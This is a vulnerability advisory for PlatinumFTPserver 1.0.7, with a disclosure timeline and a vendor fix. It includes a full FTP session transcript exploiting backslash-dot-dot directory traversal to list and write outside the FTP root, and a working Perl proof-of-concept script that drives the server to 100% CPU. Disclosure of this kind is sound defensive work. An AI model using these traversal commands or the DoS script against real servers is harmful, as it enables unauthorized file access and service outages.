PlatinumFTPserver, the server engine that runs as an application on Windows 9x and a service under NT/2K/XP, has a directory traversal vulnerability that allows remote attackers to enter directories that reside outside the bounding FTP root directory. Another vulnerability exists which allows an attacker to commit a DoS against the server. Version affected: 1.0.7. Version Unaffected: 1.0.8.
c7ace983a16f1593ea028a5dac902b90df0c5d6b3660d969f8a1ce3ae3aa446e
Multiple vulnerabilities found in
PlatinumFTPserver V1.0.7
PlatinumFTPserver (C)2002 BYTE/400 LTD
Discovered by Dennis Rand
http://www.infowarfare.dk
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SUMMARY
PlatinumFTPserver simplifies management of all your Ftp clients with regards
to sending and receiving program and data files over an IP connection.
Working within a control screen, PlatinumFTPserver gives you total
control: you can create and manage users, user groups and root directories.
You can define what Ftp Commands the users or groups can access.
PlatinumFTPserver provides activity logs, client connection details, file
and megabyte graphical statistics by session and day, virtual folders and a
built in Web Browser. The server engine runs as an application on Windows 9x
and a service under NT/2K/XP.
PlatinumFTPserver can bind to one or all IP addresses within the PC. All
configuration data for the server including password and description fields
are encrypted using the powerful Blowfish cipher. Clients can request files
be zipped before transfer, execute scripts created with the VBscript editor
and also access the shell process.
A vulnerability in the product allows remote attackers to cause
the server to traverse into directories that reside outside the bounding
FTP root directory. Another vulnerability is that it is possible to preform
a DoS attack on the server.
The server also sends out to many information, the size of the harddrive
the login location is located and the server time, this is all "harmeless"
information but it can be used in an attack.
DETAILS
Vulnerable systems:
* PlatinumFTPServer version 1.0.7
Immune systems:
* PlatinumFTPServer version 1.0.8
PlatinumFTP failure to filter out "\.." sequences in command requests allows
remote users to break out of restricted directories and gain read access
to the system directory structure; Possibility for deleting files and
preforming
a DoS attack on the server. Revealing information about the server
The following transcript demonstrates a sample exploitation of the
vulnerabilities:
Connected to 192.168.1.199.
220-PlatinumFTPserver V1.0.7
220-PlatinumFTPserver (C)2002 BYTE/400 LTD
220-
220 Enter login details
User (192.168.1.199:(none)): anonymous
331 Password required for anonymous.
Password:
230-Send comments to support@PlatinumFTP.com
230-Date 24-01-03, Time 14:28:08. <===== Server time and date
230 Storage available 1.558.704.640 Bytes. <===== Here you can see how much
server space there are located.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd ..
550 Access denied
ftp> cd ...
550 Access denied
ftp> cd /
250 CWD command successful.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd /../../../
500 ../ reference not allowed for security reasons.
ftp> cd \..\..\..\
550 Access denied
ftp> dir /../../../
200 PORT command successful
500 ../ reference not allowed for security reasons.
ftp> dir \..\..\..\..\..\
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x 1 User Group 278 Jan 18 08:49 boot.ini
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x 1 User Group 0 Dec 23 12:25 I386
drwxr-xr-x 1 User Group 0 Dec 23 22:22 Inetpub
drwxr-xr-x 1 User Group 0 Dec 23 21:49 Installationsfiler
til Windows Update
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 IO.SYS
-rwxr-xr-x 1 User Group 0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x 1 User Group 26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x 1 User Group 156496 Dec 23 22:30 ntldr
drwxr-xr-x 1 User Group 0 Dec 23 12:36 OptionPack
-rwxr-xr-x 1 User Group 524288000 Jan 24 14:27 pagefile.sys
drwxr-xr-x 1 User Group 0 Jan 24 14:01 Program Files
drwxr-xr-x 1 User Group 0 Dec 23 12:24 RECYCLER
drwxr-xr-x 1 User Group 0 Jan 24 14:09 TEMP
drwxr-xr-x 1 User Group 0 Jan 24 14:28 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,02Seconds 59,05Kbytes/sec.
ftp> debug
Debugging On .
ftp> mkdir \..\..\..\sm00
---> XMKD \..\..\..\sm00
257 \..\..\..\sm00 directory created
ftp> dir \..\..\
---> PORT 192,168,1,21,18,161
200 PORT command successful
---> LIST \..\..\
150 Opening ASCII mode data connection for /bin/ls.
drwxr-xr-x 1 User Group 0 Jan 24 14:09 PlatinumFTPserver
226 Listing complete.
ftp: 76 bytes received in 0,01Seconds 7,60Kbytes/sec.
ftp> dir \..\..\..\
---> PORT 192,168,1,21,18,162
200 PORT command successful
---> LIST \..\..\..\
150 Opening ASCII mode data connection for /bin/ls.
drwxr-xr-x 1 User Group 0 Jan 24 14:01 BYTE400
drwxr-xr-x 1 User Group 0 Dec 23 21:25 Common Files
drwxr-xr-x 1 User Group 0 Dec 23 23:32 EuroTool
drwxr-xr-x 1 User Group 0 Dec 23 21:28 ICW-Internet
Connection Wizard
drwxr-xr-x 1 User Group 0 Dec 23 22:11 MarkVis
drwxr-xr-x 1 User Group 0 Dec 23 22:31 Mts
drwxr-xr-x 1 User Group 0 Dec 23 21:28 Outlook Express
drwxr-xr-x 1 User Group 0 Dec 23 12:17 Plus!
drwxr-xr-x 1 User Group 0 Jan 24 15:01 sm00
drwxr-xr-x 1 User Group 0 Dec 23 21:24 Uninstall Information
drwxr-xr-x 1 User Group 0 Dec 23 21:10 VMware
drwxr-xr-x 1 User Group 0 Dec 23 22:44 Windows NT
drwxr-xr-x 1 User Group 0 Dec 23 23:44 WindowsUpdate
drwxr-xr-x 1 User Group 0 Jan 18 08:38 WinRAR
226 Listing complete.
ftp: 973 bytes received in 0,09Seconds 10,93Kbytes/sec.
ftp> bye
221 Goodbye.
Exploit code for DoS attack:
------------------------------------- CUT HERE --------------------------------
---------
#!/usr/bin/perl
#
# PlatinumFTPserver V1.0.7 DoS attack
# http://www.PlatinumFTP.com
# Dennis Rand - Matrix@infowarfare.dk
#
# When this exploit has been used, the server has to be restarted, if the FTPd
is
# just killed and then restarted the CPU will go to 100% again
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
use Net::FTP;
$target = shift() || die "usage: target ip";
my $user = "anonymous";
my $pass = "crash\@burn.com";
system('cls');
print "PlatinumFTPserver V1.0.7 DoS attack\n";
print "Trying to connect to target system at: $target...\n";
$ftp = Net::FTP->new($target, Debug => 1, Port => 21) || die "could not
connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/");
print "The FTP service now uses 100% CPU on the server...\n";
$ftp->cwd("cd @/..@/..");
$ftp->quit;
------------------------------------- CUT HERE --------------------------------
---------
Detection:
PlatinumFTPServer version 1.0.7 is vulnerable to the above-described attacks.
Earlier versions may be susceptible as well. To determine if a specific
implementation is vulnerable, experiment by following the above
transcript.
Vendor response:
This security issues has now been fixed in version 1.0.8 and can be
downloaded from www.platinumftp.com/updates/platinumftpserver.exe
Regards
Chris Fitzsimons
BYTE400 Technical Support
Disclosure timeline:
24/01/2003 Found the Vulnerability.
24/01/2003 Vendor mail at Bugs@platinumftp.com
27/01/2003 Recived response from vendor that the problem is fixed
27/01/2003 Public Disclosure.
ADDITIONAL INFORMATION
The vulnerability was discovered by <mailto:matrix@infowarfare.dk> Dennis Rand
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect,
incidental, consequential, loss of business profits or special damages.
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